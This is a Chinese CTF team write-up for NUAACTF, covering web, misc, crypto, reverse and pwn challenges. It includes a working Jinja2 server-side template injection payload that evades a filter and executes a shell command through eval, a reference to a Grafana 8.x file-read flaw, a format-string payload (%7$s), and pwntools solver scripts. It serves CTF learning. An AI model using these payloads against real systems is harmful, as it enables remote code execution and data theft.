• [NUAACTF] 坏女人让我尝尽爱情的苦战队 WriteUp


    签到

    签到

    flag{we1c0m_t0_asur!ctf}

    Web

    baby_python

    简单的ssti 字符串拼接绕过,用加号拼接一下就可以绕过:

    name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'ev'+'al' in b.keys() %}{{ b['ev'+'al']('__import__("o"+"s").popen("cat flllll11111114aaaaaggggggggggggg").read()') }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
    

    图片

    真的签到

    最近出现的一个nday,百度一下就可以找到Grafana 8.x任意文件读取漏洞的相关信息

    图片

    Twister

    js里看到注释,还有一段混淆的代码,直接把混淆代码丢进控制台运行一下:

    图片

    图片

    然后查看Cookie得到flag:

    图片

    Misc

    baby_mix

    打开压缩包发现需要密码,用winhex看一下发现是个伪加密

    将0900改为0000即可

    图片

    打开压缩包是一个png图片

    在R通道最低位可以看到一个二维码

    图片

    扫码一下得到:

    4a5a4a584732544748424658515654514f4634575135435447564a4749564a5347463455595754564f464c444f5752594f56465751334b55474a345841324b494b4a3546495533594b524a4449524b454b35435753334c324f4a41564153534f48424756515243574d355a464d3543474a593d3d3d3d3d3d
    

    hex base32 base58 base64依次解码即可得到flag
    图片

    medium

    在IEND后面还有很多数据,是一个base编码

    图片

    全部提取出来:

    RjAgOUYgOTkgODMgRjAgOUYgOTIgQjUgRjAgOUYgOEMgQkYgRjAgOUYgOEUgQTQgRjAgOUYgOUEgQUEgRjAgOUYgOEMgOEYgRjAgOUYgOTAgOEUgRjAgOUYgQTUgOEIgRjAgOUYgOUEgQUIgRjAgOUYgOTggODYgRTIgOUMgODUgRjAgOUYgOTggODAgRjAgOUYgQTQgQTMgRTIgOEMgQTggRjAgOUYgOTAgOEQgRTIgOTggODAgRjAgOUYgQTUgOEIgRjAgOUYgOTggODYgRjAgOUYgOTkgODMgRjAgOUYgOEUgODMgRjAgOUYgOTAgOTggRjAgOUYgOEQgOEQgRTIgOTggODIgRjAgOUYgOUEgQUEgRjAgOUYgOEMgQUEgRjAgOUYgOTIgQjUgRjAgOUYgOUEgQTggRTIgOEMgQTggRjAgOUYgOTggODEgRjAgOUYgOTQgQUEgRTIgOUMgOTYgRjAgOUYgOEUgODggRjAgOUYgOEMgOEYgRjAgOUYgOTQgODQgRjAgOUYgOTYgOTAgRjAgOUYgQTYgOTMgRjAgOUYgOEMgOEYgRjAgOUYgOTUgQjkgRjAgOUYgOTggOEQgRjAgOUYgOTEgOEMgRjAgOUYgOEMgODkgRjAgOUYgOTIgQjUgRjAgOUYgOEYgOEUgRjAgOUYgOUEgQUIgRjAgOUYgQTQgQTMgRjAgOUYgOTYgOTAgRjAgOUYgOTIgQTcgRjAgOUYgOEQgOEQgRjAgOUYgOEMgQkYgRjAgOUYgOTggOEQgRjAgOUYgOEQgOEUgRjAgOUYgOUEgQTggRjAgOUYgOTAgOEUgRjAgOUYgOTIgQjUgRjAgOUYgOEMgQkYgRjAgOUYgOEYgQjkgRjAgOUYgOEUgODUgRjAgOUYgOTkgODMgRjAgOUYgOTEgOTEgRjAgOUYgOTggODYgRTIgOTggODMgRjAgOUYgOTAgODUgRjAgOUYgOTUgQjkgRjAgOUYgOTggODcgRjAgOUYgOEYgQjkgRjAgOUYgOEYgQjkgRjAgOUYgOEQgQjUgRjAgOUYgOEUgODggRjAgOUYgOEQgOEUgRjAgOUYgQTQgQTMgRjAgOUYgOTggODEgRjAgOUYgOEQgOEQgRjAgOUYgOUEgQTggRjAgOUYgOEYgQjkgRjAgOUYgOTEgQTMgRjAgOUYgOTQgODQgRjAgOUYgQTQgQTMgRjAgOUYgOEUgODggRjAgOUYgOTggODIgRjAgOUYgOTAgOEQgRTIgOUMgODUgRjAgOUYgOTggODAgIEUyIDlDIDg1IEYwIDlGIDlBIEFBIEYwIDlGIDk4IDhFIEYwIDlGIDk4IDgwIEYwIDlGIDk3IDkyIEYwIDlGIDk3IDkyCg==
    

    base64得到:

    F0 9F 99 83 F0 9F 92 B5 F0 9F 8C BF F0 9F 8E A4 F0 9F 9A AA F0 9F 8C 8F F0 9F 90 8E F0 9F A5 8B F0 9F 9A AB F0 9F 98 86 E2 9C 85 F0 9F 98 80 F0 9F A4 A3 E2 8C A8 F0 9F 90 8D E2 98 80 F0 9F A5 8B F0 9F 98 86 F0 9F 99 83 F0 9F 8E 83 F0 9F 90 98 F0 9F 8D 8D E2 98 82 F0 9F 9A AA F0 9F 8C AA F0 9F 92 B5 F0 9F 9A A8 E2 8C A8 F0 9F 98 81 F0 9F 94 AA E2 9C 96 F0 9F 8E 88 F0 9F 8C 8F F0 9F 94 84 F0 9F 96 90 F0 9F A6 93 F0 9F 8C 8F F0 9F 95 B9 F0 9F 98 8D F0 9F 91 8C F0 9F 8C 89 F0 9F 92 B5 F0 9F 8F 8E F0 9F 9A AB F0 9F A4 A3 F0 9F 96 90 F0 9F 92 A7 F0 9F 8D 8D F0 9F 8C BF F0 9F 98 8D F0 9F 8D 8E F0 9F 9A A8 F0 9F 90 8E F0 9F 92 B5 F0 9F 8C BF F0 9F 8F B9 F0 9F 8E 85 F0 9F 99 83 F0 9F 91 91 F0 9F 98 86 E2 98 83 F0 9F 90 85 F0 9F 95 B9 F0 9F 98 87 F0 9F 8F B9 F0 9F 8F B9 F0 9F 8D B5 F0 9F 8E 88 F0 9F 8D 8E F0 9F A4 A3 F0 9F 98 81 F0 9F 8D 8D F0 9F 9A A8 F0 9F 8F B9 F0 9F 91 A3 F0 9F 94 84 F0 9F A4 A3 F0 9F 8E 88 F0 9F 98 82 F0 9F 90 8D E2 9C 85 F0 9F 98 80  E2 9C 85 F0 9F 9A AA F0 9F 98 8E F0 9F 98 80 F0 9F 97 92 F0 9F 97 92
    

    在hex解码一下得到:

    ✅⌨☀☂⌨✖☃✅✅
    

    根据题目描述,你知道AES吗?那这道题对你来说太简单啦
    可知这是一个emoji的aes加密,缺少一个key,key肯定就在key.wav里了

    看一下key.wav的频谱图,得到:

    MudaMudaMudaMuda
    

    图片

    https://aghorler.github.io/emoji-aes/#

    最后做一个aes-emoji解密即可

    图片

    得到最终flag:

    flag{AES_1s_Gr3atS0_y0u_L1ke_1t_V3ry_Much}
    

    我们生活在南京(一)——穿越时空的电波

    将音频反转一下,即可听到希腊字母。

    根据题目描述:

    他们用无线电中惯用的方法区分字符串中读音相近的字母。
    

    对应一下即可得到flag:

    flag{radiowavesacrosstime}
    

    我们生活在南京(二)——等幅电报?

    下载附件得到一个mp3音频,根据题目描述CW可知这是一个摩斯码

    图片

    fuzz一下发现摩斯码在频谱图里

    图片

    短波为'.',长波为'-',得到:

    ..-. .-.. .- --. -.-. .-- .. ..... ....- - .-. ....- -.. .. - .. ----- -. -- ...-- - .... ----- -..
    

    morse解密一下得到flag:

    flag{cwi54tr4diti0nm3th0d}
    

    Re

    IDA Start

    图片

    Crypto

    checkin

    oclz{loovyd_vb_l_bvnucd_hqpumj}

    //(11x + 11) mod 26

    仿射密码

    from Crypto.Util.number import*
    a = 'oclz{loovyd_vb_l_bvnucd_hqpumj}'
    table = 'abcdefghijklmnopqrstuvwxyz'
    flag = ''
    for i in a:
        if i in table:
            val = table.index(i)
            val = (val-11)*inverse(11,26) % 26  
            flag += table[val]
        else:
            flag += i
    print(flag)
    

    easyRSA

    发现文件需要读其中的数据data1,data2都是对相同的一个m进行的加密,并且能知道这个是一个共模攻击。不过padding里面需要去写一个unpad

    from Crypto.Util.number import*
    fi1 = open('flag.enc1','rb')
    fi2 = open('flag.enc2','rb')
    
    data1 = fi1.read()
    data2 = fi2.read()
    fi1.close()
    fi2.close()
    
    def unpad_even(x):
        if x[:1] == b'0' and len(x)%2 == 1:
            return x[1:]
        else:
            return x
    # print(data2)
    data1 = unpad_even(data1)
    data2 = unpad_even(data2)
    c1 = bytes_to_long(data1)
    c2 = bytes_to_long(data2)
    N = 0x00b0bee5e3e9e5a7e8d00b493355c618fc8c7d7d03b82e409951c182f398dee3104580e7ba70d383ae5311475656e8a964d380cb157f48c951adfa65db0b122ca40e42fa709189b719a4f0d746e2f6069baf11cebd650f14b93c977352fd13b1eea6d6e1da775502abff89d3a8b3615fd0db49b88a976bc20568489284e181f6f11e270891c8ef80017bad238e363039a458470f1749101bc29949d3a4f4038d463938851579c7525a69984f15b5667f34209b70eb261136947fa123e549dfff00601883afd936fe411e006e4e93d1a00b0fea541bbfc8c5186cb6220503a94b2413110d640c77ea54ba3220fc8f4cc6ce77151e29b3e06578c478bd1bebe04589ef9a197f6f806db8b3ecd826cad24f5324ccdec6e8fead2c2150068602c8dcdc59402ccac9424b790048ccdd9327068095efa010b7f196c74ba8c37b128f9e1411751633f78b7b9e56f71f77a1b4daad3fc54b5e7ef935d9a72fb176759765522b4bbc02e314d5c06b64d5054b7b096c601236e6ccf45b5e611c805d335dbab0c35d226cc208d8ce4736ba39a0354426fae006c7fe52d5267dcfb9c3884f51fddfdf4a9794bcfe0e1557113749e6c8ef421dba263aff68739ce00ed80fd0022ef92d3488f76deb62bdef7bea6026f22a1d25aa2a92d124414a8021fe0c174b9803e6bb5fad75e186a946a17280770f1243f4387446ccceb2222a965cc30b3929
    
    e1 = 17
    e2 = 65537
     
    import gmpy2
    g,x,y = gmpy2.gcdext(e1,e2)
    print(long_to_bytes(pow(c1,x,N) * pow(c2,y,N) %N))
    
    

    Guessgame

    这道题目很神奇,发现如果对他进行只发送1的话,会导致他数的最后一位是1的位置变成0

    然而他却只有50次机会,那么我们可以通过一直发1,最后7次发0 把num变成0之后再进行加分

    from pwn import *
    context.log_level = 'debug'
    io = remote("ctf.asuri.club",10000)
    for i in range(43):
        io.recv()
        io.sendline(b'1')
    for i in range(7):
        io.recv()
        io.sendline(b'0')
    io.interactive()
    

    Numbers

    发现这里ax-by=1;a,b已知;可能首先回想到扩展欧几里得定律,但是这道题到第三关之后会有点问题。

    ax-by = 比较大的数了。

    所以这时候就应该去找连分数的方法。

    然后在网上找到脚本去做:

    from pwn import *
    def CCFF(x, y): 
        cF = [] 
        while y: 
            cF += [x // y] 
            x, y = y, x % y 
        return cF 
    def CONVER(ctnf): 
        numerator = 0 
        denominator = 1 
        for x in ctnf[::-1]: 
            numerator, denominator = denominator, x * denominator + numerator 
        return (numerator, denominator) 
    
    def MY_XY(c): 
        cf=[] 
        for i in range(1,len(c)): 
            cf.append(CONVER(c[:i])) 
        return cf 
    
    def attack(a,b,val): 
        cf = CCFF(a,b) 
        if len(cf) & 1: 
            cf = cf[:-1] + [cf[-1]-1, 1] 
        for i in MY_XY(cf):
            x,y = i
            if a*x-b*y == val: 
                return x, y
    
    def recs():
        io.recvuntil(b'Level ')
        io.recvline()
        a = io.recvuntil(b'*')[:-1]
        io.recvuntil(b'x-')
        b = io.recvuntil(b'*')[:-1]
        io.recvuntil(b'=')
        val = io.recvline().strip()
        a = int(a)
        b = int(b)
        val = int(val)
        print(val)
        x,y = attack(a,b,val)
        io.recv()
        io.sendline(str(x).encode())
        io.sendline(str(y).encode())
    # context.log_level = 'debug'
    while 1:
        try:
            io = remote("ctf.asuri.club",10001)
            for i in range(5):
                recs()
            io.interactive()
        except:
            io.close()
            continue
    # flag{C0ntInu3d_fR4cTioNs_4r3_1nter3stinG}
    

    Pwn

    format

    格式化字符串,指向flag的指针在栈上用%s可以直接输出,偏移是7 payload为%7$s

    [ * ]博客中转载的文章均已标明出处与来源,若无意产生侵权行为深表歉意,需要删除或更改请联系博主: 2245998470[at]qq.com

  • 相关阅读:
    从Python到Web开发
    源码安装缺少configure文件
    5
    4
    3
    2
    42
    1
    18
    41
  • 原文地址:https://www.cnblogs.com/yesec/p/15678874.html
Copyright © 2020-2023  润新知